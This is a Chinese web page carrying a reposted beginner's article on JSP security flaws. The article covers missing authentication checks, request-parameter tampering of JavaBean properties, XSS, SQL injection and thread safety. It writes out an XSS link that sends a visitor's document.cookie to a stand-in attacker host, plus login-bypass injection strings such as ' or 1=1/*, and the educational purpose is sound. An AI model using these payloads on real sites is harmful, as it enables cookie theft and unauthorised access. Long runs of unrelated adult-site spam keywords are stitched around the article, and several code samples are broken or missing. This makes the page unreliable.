精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

淺談JSP編程的安全實例分析

開發 后端
今天我將和大家一起從JSP編程的角度看JSP的安全,那些諸如源碼暴露類的安全隱患就不在這篇文章討論范圍之內了。寫這篇文章的主要目的是給初學JSP編程的朋友們提個醒,從一開始就要培養安全編程的意識,不要犯不該犯的錯誤,避免可以避免的損失。

Java Server Page(JSP)作為建立動態網頁的技術正在不斷升溫。JSP編程和ASP、PHP、工作機制不太一樣。一般說來,JSP頁面在執行時是編譯式,而不是解釋式的。首次調用JSP文件其實是執行一個編譯為Servlet的過程。當瀏覽器向服務器請求這一個JSP文件的時候,服務器將檢查自上次編譯后JSP文件是否有改變,如果沒有改變,就直接執行Servlet,而不用再重新編譯,這樣,效率便得到了明顯提高。

今天我將和大家一起從腳本編程的角度看JSP的安全,那些諸如源碼暴露類的安全隱患就不在這篇文章討論范圍之內了。寫這篇文章的主要目的是給初學JSP編程的朋友們提個醒,從一開始就要培養安全編程的意識,不要犯不該犯的錯誤,避免可以避免的損失。另外,我也是初學者,如有錯誤或其它意見請發帖賜教。

一、認證不嚴——JSP編程低級失誤

在溢洋論壇v1.12 修正版中,

user_manager.jsp是用戶管理的頁面,作者知道它的敏感性,加上了一把鎖:

  1. if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("系統管理員")))   
  2. {   
  3. response.sendRedirect("err.jsp?id=14");   
  4. return;   
  5. }  

如果要查看、修改某用戶的信息,就要用modifyuser_manager.jsp這個文件。管理員提交

http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51

就是查看、修改ID為51的用戶的資料(管理員默認的用戶ID為51)。但是,如此重要的文件竟缺乏認證,普通用戶(包括游客)也直接提交上述請求也可以對其一覽無余(密碼也是明文存儲、顯示的)。modifyuser_manage.jsp同樣是門戶大開,直到惡意用戶把數據更新的操作執行完畢,重定向到user_manager.jsp的時候,他才會看見那個姍姍來遲的顯示錯誤的頁面。顯然,只鎖一扇門是遠遠不夠的,編程的時候一定要不厭其煩地為每一個該加身份認證的地方加上身份認證。

二、守好JavaBean的入口

JSP組件技術的核心是被稱為bean的java組件。在程序中可把邏輯控制、數據庫操作放在javabeans組件中,然后在JSP文件中調用它,這樣可增加程序的清晰度及程序的可重用性。和傳統的ASP或PHP頁面相比,JSP頁面是非常簡潔的,因為許多動態頁面處理過程可以封裝到JavaBean中。

要改變JavaBean屬性,要用到“”標記。

下面的代碼是假想的某電子購物系統的源碼的一部分,這個文件是用來顯示用戶的購物框中的信息的,而checkout.jsp是用來結帳的。

  1. You have added the item   
  2. to your basket.   
  3. Your total is $   
  4. Proceed to checkout  

注意到property="*"了嗎?這表明用戶在可見的JSP頁面中輸入的,或是直接通過Query String提交的全部變量的值,將存儲到匹配的bean屬性中。

一般,用戶是這樣提交請求的:

http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342

但是不守規矩的用戶呢?他們可能會提交:

http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0

這樣,balance=0的信息就被在存儲到了JavaBean中了。當他們這時點擊“chekout”結賬的時候,費用就全免了。

這與PHP中全局變量導致的安全問題如出一轍。由此可見:“property="*"”一定要慎用!

三、長盛不衰的跨站腳本

跨站腳本(Cross Site Scripting)攻擊是指在遠程WEB頁面的HTML代碼中手插入惡意的JavaScript, VBScript, ActiveX, HTML, 或Flash等腳本,竊取瀏覽此頁面的用戶的隱私,改變用戶的設置,破壞用戶的數據。跨站腳本攻擊在多數情況下不會對服務器和WEB程序的運行造成影響,但對客戶端的安全構成嚴重的威脅。

以仿動網的阿菜論壇(beta-1)舉個最簡單的例子。當我們提交

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>alert(document.cookie)

便能彈出包含自己cookie信息的對話框。而提交

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>document.location='http://www.163.com'

就能重定向到網易。

由于在返回“name”變量的值給客戶端時,腳本沒有進行任何編碼或過濾惡意代碼,當用戶訪問嵌入惡意“name”變量數據鏈接時,會導致腳本代碼在用戶瀏覽器上執行,可能導致用戶隱私泄露等后果。比如下面的鏈接:

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie

xxx.xxx用于收集后邊跟的參數,而這里參數指定的是document.cookie,也就是訪問此鏈接的用戶的cookie。在ASP世界中,很多人已經把偷cookie的技術練得爐火純青了。在JSP里,讀取cookie也不是難事。當然,跨站腳本從來就不會局限于偷cookie這一項功能,相信大家都有一定了解,這里就不展開了。

對所有動態頁面的輸入和輸出都應進行編碼,可以在很大程度上避免跨站腳本的攻擊。遺憾的是,對所有不可信數據編碼是資源密集型的工作,會對 Web 服務器產生性能方面的影響。常用的手段還是進行輸入數據的過濾,比如下面的代碼就把危險的字符進行替換:

更積極的方式是利用正則表達式只允許輸入指定的字符:

  1. public boolean isValidInput(String str)   
  2. {   
  3. if(str.matches("[a-z0-9]+")) return true;   
  4. else return false;   

四、時刻牢記SQL注入

一般的JSP編程書籍在教初學者的時候都不注意讓他們從入門時就培養安全JSP編程的習慣。著名的《JSP編程思想與實踐》就是這樣向初學者示范編寫帶數據庫的登錄系統的(數據庫為MySQL):

  1. Statement stmt = conn.createStatement();   
  2. String checkUser = "select * from login where username = '" + userName + "' and userpassword = '" + userPassword + "'";   
  3. ResultSet rs = stmt.executeQuery(checkUser);   
  4. if(rs.next())   
  5. response.sendRedirect("SuccessLogin.jsp");   
  6. else   
  7. response.sendRedirect("FailureLogin.jsp");  

這樣使得盡信書的人長期使用這樣先天“帶洞”的登錄代碼。如果數據庫里存在一個名叫“jack”的用戶,那么在不知道密碼的情況下至少有下面幾種方法可以登錄:

用戶名:jack

密碼:' or 'a'='a

用戶名:jack

密碼:' or 1=1/*

用戶名:jack' or 1=1/*

密碼:(任意)

lybbs(凌云論壇)ver 2.9.Server在LogInOut.java中是這樣對登錄提交的數據進行檢查的:

if(s.equals("") ││ s1.equals(""))

throw new UserException("用戶名或密碼不能空。");

if(s.indexOf("'") != -1 ││ s.indexOf("\"") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf("\\") != -1)

throw new UserException("用戶名不能包括 ' \" \\ , 等非法字符。");

if(s1.indexOf("'") != -1 ││ s1.indexOf("\"") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf("\\") != -1)

throw new UserException("密碼不能包括 ' \" \\ * 等非法字符。");

if(s.startsWith(" ") ││ s1.startsWith(" "))

throw new UserException("用戶名或密碼中不能用空格。");

但是我不清楚為什么他只對密碼而不對用戶名過濾星號。另外,正斜杠似乎也應該被列到“黑名單”中。我還是認為用正則表達式只允許輸入指定范圍內的字符來得干脆。

這里要提醒一句:不要以為可以憑借某些數據庫系統天生的“安全性”就可以有效地抵御所有的攻擊。pinkeyes的那篇《PHP注入實例》就給那些依賴PHP的配置文件中的“magic_quotes_gpc = On”的人上了一課。

五、String對象帶來的隱患

Java平臺的確使安全編程更加方便了。Java中無指針,這意味著 Java 程序不再像C那樣能對地址空間中的任意內存位置尋址了。在JSP文件被編譯成 .class 文件時會被檢查安全性問題,例如當訪問超出數組大小的數組元素的嘗試將被拒絕,這在很大程度上避免了緩沖區溢出攻擊。但是,String對象卻會給我們帶來一些安全上的隱患。如果密碼是存儲在 Java String 對象中的,則直到對它進行垃圾收集或進程終止之前,密碼會一直駐留在內存中。即使進行了垃圾收集,它仍會存在于空閑內存堆中,直到重用該內存空間為止。密碼 String 在內存中駐留得越久,遭到竊聽的危險性就越大。更糟的是,如果實際內存減少,則操作系統會將這個密碼 String 換頁調度到磁盤的交換空間,因此容易遭受磁盤塊竊聽攻擊。為了將這種泄密的可能性降至最低(但不是消除),您應該將密碼存儲在 char 數組中,并在使用后對其置零(String 是不可變的,無法對其置零)。

六、線程安全初探

“JAVA能做的,JSP就能做”。與ASP、PHP等腳本語言不一樣,JSP默認是以多線程方式執行的。以多線程方式執行可大大降低對系統的資源需求,提高系統的并發量及響應時間。線程在程序中是獨立的、并發的執行路徑,每個線程有它自己的堆棧、自己的程序計數器和自己的局部變量。雖然多線程應用程序中的大多數操作都可以并行進行,但也有某些操作(如更新全局標志或處理共享文件)不能并行進行。如果沒做好線程的同步,在大并發量訪問時,不需要惡意用戶的“熱心參與”,問題也會出現。最簡單的解決方案就是在相關的JSP文件中加上: 指令,使它以單線程方式執行,這時,所有客戶端的請求以串行方式執行。這樣會嚴重降低系統的性能。我們可以仍讓JSP文件以多線程方式執行,通過對函數上鎖來對線程進行同步。一個函數加上synchronized 關鍵字就獲得了一個鎖。看下面的示例:

  1. public class MyClass{   
  2. int a;   
  3. public Init() {//此方法可以多個線程同時調用   
  4. a = 0;   
  5. }   
  6. public synchronized void Set() {//兩個線程不能同時調用此方法   
  7. if(a>5) {   
  8. aa= a-5;   
  9. }   
  10. }   
  11. }   

但是這樣仍然會對系統的性能有一定影響。一個更好的方案是采用局部變量代替實例變量。因為實例變量是在堆中分配的,被屬于該實例的所有線程共享,不是線程安全的,而局部變量在堆棧中分配,因為每個線程都有它自己的堆棧空間,所以這樣線程就是安全的了。比如凌云論壇中添加好友的代碼:

  1. public void addFriend(int i, String s, String s1)   
  2. throws DBConnectException   
  3. {   
  4. try   
  5. {   
  6. if……   
  7. else   
  8. {   
  9. DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)");   
  10. dbconnect.setInt(1, i);   
  11. dbconnect.setString(2, s);   
  12. dbconnect.executeUpdate();   
  13. dbconnect.close();   
  14. dbconnect = null;   
  15. }   
  16. }   
  17. catch(Exception exception)   
  18. {   
  19. throw new DBConnectException(exception.getMessage());   
  20. }   
  21. }  

下面是調用:

  1. friendName=ParameterUtils.getString(request,"friendname");   
  2. if(action.equals("adduser")) {   
  3. forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);   
  4. errorInfo=forumFriend.getErrorInfo();   
  5. }  

如果采用的是JSP編程中的實例變量,那么該實例變量屬于該實例的所有線程共享,就有可能出現用戶A傳遞了某個參數后他的線程轉為睡眠狀態,而參數被用戶B無意間修改,造成好友錯配的現象。

參考文獻:

Jordan Dimov:《JSP Security》

developerWorks:《Java安全性》

徐春金:編寫線程安全的JSP程序

轉載自——KM工作室

【編輯推薦】

  1. JSP連接ORACLE數據庫時注意的一些問題
  2. JSP中tomcat的SQL Server2000數據庫連接池的配置
  3. 簡單介紹Servlets和JSP的區別
  4. JSP include指令和include行為的區別
  5. JSP輸出excel文檔和中文亂碼問題的解決
責任編輯:彭凡 來源: 網易博客
相關推薦

2009-07-03 11:27:11

JSP編程思想

2009-07-03 14:31:51

2009-06-06 18:54:02

JSP編程進度條

2009-07-01 17:16:12

2009-07-07 14:21:00

JSP語法

2009-02-11 09:37:32

Hibernate分頁技術JSP

2009-07-07 13:58:59

jsp forward

2009-07-03 17:57:10

JSP程序404錯誤

2009-06-30 17:28:08

JSP學習

2009-03-10 11:08:00

2009-09-22 10:09:21

Hibernate S

2022-09-08 09:59:23

API網絡安全

2009-07-03 13:24:56

JSP表單

2009-07-02 17:06:36

JSP中的PageEn

2009-07-01 18:41:16

JSP編譯

2009-07-01 17:58:20

JSP

2011-04-08 13:58:52

JavaJSP

2015-03-31 11:24:02

2009-07-02 11:25:33

JSP課程

2021-01-18 10:35:18

網絡安全Windows代碼
點贊
收藏

51CTO技術棧公眾號

日韩性生活视频| 777欧美精品| 日韩国产伦理| a级片在线播放| 亚洲一区二区三区高清| 精品国产一区二区三区四区在线观看 | 性少妇bbw张开| www.久久爱.com| 天天综合色天天综合色h| 亚洲精品在线免费| 色一情一乱一乱一区91av| 日本不卡视频在线观看| 国模精品系列视频| 亚洲一二三四五六区| 美国成人xxx| 欧美一级一区二区| 人人干人人视频| free性欧美16hd| 综合中文字幕亚洲| 日韩视频在线播放| 午夜一区在线观看| 国产成人精品免费在线| 国产一区欧美二区三区| 亚洲GV成人无码久久精品| 在线中文一区| 中文字幕亚洲欧美一区二区三区| av网页在线观看| 亚洲精品一区国产| 欧美久久一二区| 午夜免费精品视频| 澳门成人av网| 无码av免费一区二区三区试看| 中文字幕在线中文字幕日亚韩一区| 人成免费电影一二三区在线观看| 成人午夜看片网址| 亚洲曰本av电影| 91av久久久| 欧美96一区二区免费视频| 欧美一区二区三区精品电影| 亚洲国产综合久久| 亚洲无线视频| 欧美激情喷水视频| 精品99久久久久成人网站免费| 久久精品青草| 另类图片亚洲另类| 九九热最新地址| 欧美一区91| 久久视频在线直播| 日韩欧美123区| 女人色偷偷aa久久天堂| 超薄丝袜一区二区| 538任你躁在线精品视频网站| 91高清一区| 欧美床上激情在线观看| 久草视频免费在线播放| 国模一区二区三区| 久久乐国产精品| 日韩欧美国产亚洲| 国产精品日韩欧美一区| 日韩美女毛茸茸| 69视频免费看| 乱一区二区av| 91日韩在线视频| av网站在线观看免费| 国产精品99久久久久久宅男| 91超碰在线免费观看| 国产刺激高潮av| 久久香蕉国产线看观看99| 欧美精品一区二区三区在线四季| 户外极限露出调教在线视频| 国产欧美日本一区视频| 一区二区在线观| 欧美高清另类hdvideosexjaⅴ| 亚洲成人免费在线| 国产91对白刺激露脸在线观看| 欧美日韩免费观看视频| 欧美高清视频在线高清观看mv色露露十八 | 国产呦精品一区二区三区网站| 1卡2卡3卡精品视频| 天堂在线观看av| 久久综合五月天婷婷伊人| 亚洲成人自拍| 美足av综合网| 色天使色偷偷av一区二区| 怡红院亚洲色图| 高潮久久久久久久久久久久久久 | 中文字幕在线免费看线人| 欧美日韩一二三四| 九九热99久久久国产盗摄| 国产又大又黄又粗| 国产综合色精品一区二区三区| 国产成人精品免费视频大全最热| 人人九九精品| 亚洲激情成人在线| 日本va中文字幕| 亚洲精品福利| 色哟哟网站入口亚洲精品| 免费网站看av| 美女网站色91| 久久精品国产一区二区三区日韩| wwwxxx在线观看| 亚洲综合久久久| wwwwwxxxx日本| 欧美变态挠脚心| 欧美成人合集magnet| 樱花视频在线免费观看| 粉嫩一区二区三区在线看| 视频二区一区| 欧美极品videos大乳护士| 欧美精品久久99| 无码 人妻 在线 视频| 国模吧视频一区| 成人黄色大片在线免费观看| 青青久草在线| 亚洲成av人片观看| 中文字幕在线视频一区二区| 国产影视精品一区二区三区| 久久久久久久激情视频| 国产色片在线观看| 国产精品热久久久久夜色精品三区 | 成人午夜在线视频一区| 久久精品国产亚洲a∨麻豆| 亚洲午夜久久久久久久久电影院| 日韩 国产 一区| 欧美色女视频| 国产精品吊钟奶在线| 亚洲色图欧美视频| 亚瑟在线精品视频| 三大队在线观看| 亚洲欧美综合久久久| 国产精品久在线观看| 日韩一区av| 天天色综合成人网| 亚洲国产精品成人综合久久久| 欧美体内she精视频在线观看| 91精品国产综合久久香蕉最新版| 韩国中文免费在线视频| 日韩欧美亚洲成人| 巨胸大乳www视频免费观看| 亚洲区国产区| 国产视色精品亚洲一区二区| 黄页网站在线观看免费| 日韩免费观看高清完整版| 波多野结衣不卡视频| 精品亚洲aⅴ乱码一区二区三区| 亚洲欧美日韩精品在线| 久久久免费人体| 久久精品国产亚洲| 国产视频一区二区三| 亚洲狼人国产精品| xxxxwww一片| 亚洲国产高清视频| 久久精品国产综合精品| 日韩激情电影| 国产亚洲欧美aaaa| 中文字幕日韩经典| 亚洲欧美色一区| 激情小说欧美色图| 国产一区二区高清| 欧美一区二区三区在线免费观看| 精品肉辣文txt下载| 日韩在线观看高清| 精品人妻一区二区三区麻豆91| 亚洲一二三四区不卡| av无码一区二区三区| 麻豆久久婷婷| 亚洲亚洲精品三区日韩精品在线视频| 日韩福利影视| 欧美激情精品久久久久| 色网站在线免费观看| 欧美日韩一级视频| 在线免费日韩av| 99久久精品情趣| 尤蜜粉嫩av国产一区二区三区| 色喇叭免费久久综合网| 不卡视频一区二区三区| a一区二区三区| 日韩在线观看精品| 天天操天天干天天舔| 日本高清成人免费播放| 成人免费精品动漫网站| 91麻豆国产精品久久| a在线观看免费视频| 你懂的网址国产 欧美| 欧美极品色图| 精品中文字幕一区二区三区四区| 97avcom| 日本中文在线观看| 日韩精品在线观看视频| 97成人在线观看| 欧美日韩午夜激情| 538任你躁在线精品视频网站| 99re热这里只有精品视频| 美女在线视频一区二区| 日韩午夜高潮| 日本丰满少妇黄大片在线观看| 青青草这里只有精品| 成人欧美一区二区三区在线 | 欧美色图在线观看| 日本黄色片视频| 亚洲欧洲综合另类| 三上悠亚影音先锋| 成人丝袜18视频在线观看| wwwwwxxxx日本| 久久最新视频| 欧美成人精品免费| 婷婷色综合网| 日韩欧美视频一区二区| 男人的天堂久久| 97操在线视频| 色综合一区二区日本韩国亚洲| 91高潮在线观看| 天堂av资源在线观看| 少妇高潮久久久久久潘金莲| 无码h黄肉3d动漫在线观看| 日韩一级成人av| 国产视频在线观看免费| 欧美在线观看一区| www五月天com| 精品久久久国产| 精品视频久久久久| 亚洲激情在线激情| 日韩一级片av| 亚洲日本在线看| 日本免费网站视频| 欧美国产一区在线| 受虐m奴xxx在线观看| 91网站在线播放| 亚洲国产精品自拍视频| 国产91精品在线观看| 亚洲国产日韩在线一区| 久久99精品久久久久| 久久99爱视频| 麻豆视频观看网址久久| 天天色综合天天色| 奇米精品一区二区三区在线观看| 99精品视频播放| 久久一二三四| 无码少妇一区二区三区芒果| 另类亚洲自拍| 久久久久狠狠高潮亚洲精品| 久久久999| 成年人在线观看视频免费| 日日噜噜夜夜狠狠视频欧美人| 成人在线观看黄| 青青草国产成人av片免费| 亚欧在线免费观看| 卡一卡二国产精品 | 日本一道本久久| 一区二区黄色| 日本www高清视频| 日本aⅴ免费视频一区二区三区| 亚欧美在线观看| 国产在线视频精品一区| 国产伦精品一区二区三区妓女下载| 国产激情精品久久久第一区二区| ass极品水嫩小美女ass| 成人激情黄色小说| 丰满少妇一区二区| 国产精品久久看| 欧美成人免费观看视频| 亚洲国产另类av| 精品欧美一区二区三区免费观看| 在线看国产一区| 国产伦精品一区二区三区视频痴汉 | 五月天亚洲视频| 国精产品一区一区三区mba桃花| 99热这里只有精品2| 成人av中文字幕| 性猛交娇小69hd| 亚洲美女视频一区| 亚洲 欧美 日韩 综合| 欧美三片在线视频观看| 国产999久久久| 日韩电视剧在线观看免费网站| 国产小视频免费在线观看| 久久精品国产91精品亚洲| 日本高清成人vr专区| 91国内免费在线视频| 久久久精品一区二区毛片免费看| 超碰97网站| 国产一区二区三区电影在线观看| avove在线观看| 免费亚洲视频| 91高清国产视频| 99re热这里只有精品视频| www.97视频| 欧美性猛交xxxx偷拍洗澡| 国产又粗又长又大视频| 亚洲精品www久久久| 日本亚洲精品| 欧美中文在线视频| 国产视频一区二区在线播放| 麻豆91蜜桃| 中国成人一区| 爆乳熟妇一区二区三区霸乳| 国产成都精品91一区二区三| 国产91丝袜美女在线播放| 亚洲综合色丁香婷婷六月图片| 五月天中文字幕| 亚洲激情久久久| 免费av网站在线看| 日韩美女在线看| 亚洲三级av| 影音先锋欧美资源| 日本午夜精品一区二区三区电影| 白嫩情侣偷拍呻吟刺激| 亚洲欧洲精品一区二区三区不卡| 亚洲乱码国产乱码精品| 亚洲精品一区在线观看| av黄在线观看| 国产综合久久久久| 欧美色就是色| 亚洲精品中文字幕无码蜜桃| k8久久久一区二区三区| 免费一级肉体全黄毛片| 欧美精品第一页| av在线播放网站| 人人澡人人澡人人看欧美| 精品国产18久久久久久洗澡| 波多野结衣与黑人| 韩国欧美国产一区| 美女视频久久久| 欧美日韩免费视频| 成年人视频网站在线| 欧亚精品中文字幕| 天天做夜夜做人人爱精品 | 欧洲一区精品| 电影午夜精品一区二区三区 | 国产精品免费人成网站| 亚洲精品毛片一区二区三区| 亚洲精品视频网上网址在线观看 | 欧美色综合网| 日本少妇激三级做爰在线| 18涩涩午夜精品.www| 亚洲最大成人av| 日韩亚洲一区二区| 高清一区二区| 日韩一二区视频| 国产成人精品一区二| 久久免费公开视频| 亚洲第一精品电影| 国产不卡人人| 久久精品magnetxturnbtih| 亚洲毛片在线| 日韩精品电影一区二区| 欧洲另类一二三四区| av电影在线观看| 亚洲一区二区三区乱码aⅴ| 欧美在线高清| 国产极品一区二区| 欧美性猛xxx| lutube成人福利在线观看| 国产欧美日韩高清| 欧美日韩a区| 老熟妇精品一区二区三区| 欧美性猛交xxxx免费看| av播放在线观看| 97碰碰视频| 久久成人精品| 中文字幕乱码av| 精品国产免费视频| 性欧美又大又长又硬| 亚洲国产欧美日韩| 国产大陆a不卡| 青青操免费在线视频| 国产一区二区三区在线看| 亚洲ww精品| 成人免费在线网| 国产欧美一区二区精品性色超碰| 亚洲天堂aaa| 韩国三级电影久久久久久| 精品国产乱码久久久久久蜜坠欲下 | 亚洲激情视频在线| 91成人抖音| 日本a级片在线观看| 26uuu亚洲综合色| 国产一区二区三区三州| 欧美夫妻性生活视频| 自拍亚洲一区| 国产人妻精品久久久久野外| 五月天欧美精品| 欧美成人精品一区二区男人看| 不卡一区二区三区视频| 久久久国产亚洲精品| 欧美成人精品欧美一级私黄| 亚洲欧美制服丝袜| 精品国产乱码久久久久久樱花| 国产成人在线免费看| 亚洲欧洲精品天堂一级| 免费在线稳定资源站| 91视频国产精品| 久久亚洲精选| 国产亚洲第一页| 色爱av美腿丝袜综合粉嫩av| 日韩丝袜视频| 久久精品一卡二卡| 欧美午夜片在线观看| 高清在线视频不卡| 蜜臀av性久久久久蜜臀av|